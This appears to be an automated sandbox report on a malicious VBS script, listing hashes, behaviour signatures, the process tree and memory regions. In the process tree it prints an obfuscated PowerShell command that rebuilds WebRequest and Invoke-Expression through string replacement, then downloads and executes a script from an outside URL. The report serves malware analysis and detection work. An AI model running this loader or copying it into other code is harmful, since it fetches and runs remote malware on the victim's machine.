Analysis

  • max time kernel
    892s
  • max time network
    901s
  • platform
    windows7_x64
  • resource
    win7-20220331-en
  • submitted
    13-04-2022 19:07

General

  • Target

    HWGYLCBITDLEFLATIXCZS.vbs

  • Size

    3KB

  • MD5

    e9cc67f9dc37b896f40ee439da6e4c38

  • SHA1

    ca2e75b9a9828ed85d126ea89937272449b3b123

  • SHA256

    414566a9fa390bf5414ecfd83484acc8bf24824086f1f350cb7e0f8c5a37c48f

  • SHA512

    208a6cb226cb1097b63cda7e8e5f982ca2866d6690fce63e4ecee688edc657d8fcc5986ee9720dc4bff80a9b0b6220336b52adc3503b07944cb2ed69b21ddff4

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HWGYLCBITDLEFLATIXCZS.vbs"
    1⤵
      PID:1976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $SSLGBFHPYGWJOSVOSAXSOI = '[S</%12(}(3%!97^-)604175EM.I12%<*5&{^114^3(+(239$8MREAdER]'.Replace('</%12(}(3%!97^-)604175','ySt').Replace('12%<*5&{^114^3(+(239$8','O.StREA');$OSXYPCZAVJGVPJKCCOIRGP = ($SSLGBFHPYGWJOSVOSAXSOI -Join '')| .('{1}{0}'-f'EX','I');$BACQWYOKUYXPPAAAYSGKSH = '[SyS36^{5*+\__(+!0*]!74^+*T.W$4!/#&{]{%20(\_!@#+0^_ST]'.Replace('36^{5*+\__(+!0*]!74^+*','TEm.NE').Replace('$4!/#&{]{%20(\_!@#+0^_','EbREquE');$VLOPCCVJLTABAEOPZHLLUP = ($BACQWYOKUYXPPAAAYSGKSH -Join '')| .('{1}{0}'-f'EX','I');$EQRAEEEFHESLXKSSOJGAXF = 'Cr)#-8%2!@$/36)-^3)%[8-=TE'.Replace(')#-8%2!@$/36)-^3)%[8-=','Ea');$FLNDLCBQWUUJIOYRAXLXDD = 'GE9)4#(![(]#$3252)+]$<+4onSE'.Replace('9)4#(![(]#$3252)+]$<+4','tRESp');$YOUCSWTBCHGKPSZLDUSJQL = 'GE!7@}+-]*)#7+8(-0%8@!5\REam'.Replace('!7@}+-]*)#7+8(-0%8@!5\','tRESponSESt');$RIROKYAAOQNNTDPHRCXRLA = 'RE8+8(-=8%7@+_+<$0-\78^{nD'.Replace('8+8(-=8%7@+_+<$0-\78^{','aDToE'); .('{1}{0}'-f'EX','I')($OSXYPCZAVJGVPJKCCOIRGP::new($VLOPCCVJLTABAEOPZHLLUP::$EQRAEEEFHESLXKSSOJGAXF('https://mygi.info/tmp/LAO.txt').$FLNDLCBQWUUJIOYRAXLXDD().$YOUCSWTBCHGKPSZLDUSJQL()).$RIROKYAAOQNNTDPHRCXRLA())
      1⤵
      • Process spawned unexpected child process
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1684

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

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    Downloads

    • memory/1684-54-0x000007FEFBBD1000-0x000007FEFBBD3000-memory.dmp
      Filesize

      8KB

    • memory/1684-55-0x000007FEF35D0000-0x000007FEF412D000-memory.dmp
      Filesize

      11.4MB

    • memory/1684-56-0x00000000029F0000-0x00000000029F2000-memory.dmp
      Filesize

      8KB

    • memory/1684-57-0x00000000029F2000-0x00000000029F4000-memory.dmp
      Filesize

      8KB

    • memory/1684-58-0x00000000029F4000-0x00000000029F7000-memory.dmp
      Filesize

      12KB

    • memory/1684-59-0x00000000029FB000-0x0000000002A1A000-memory.dmp
      Filesize

      124KB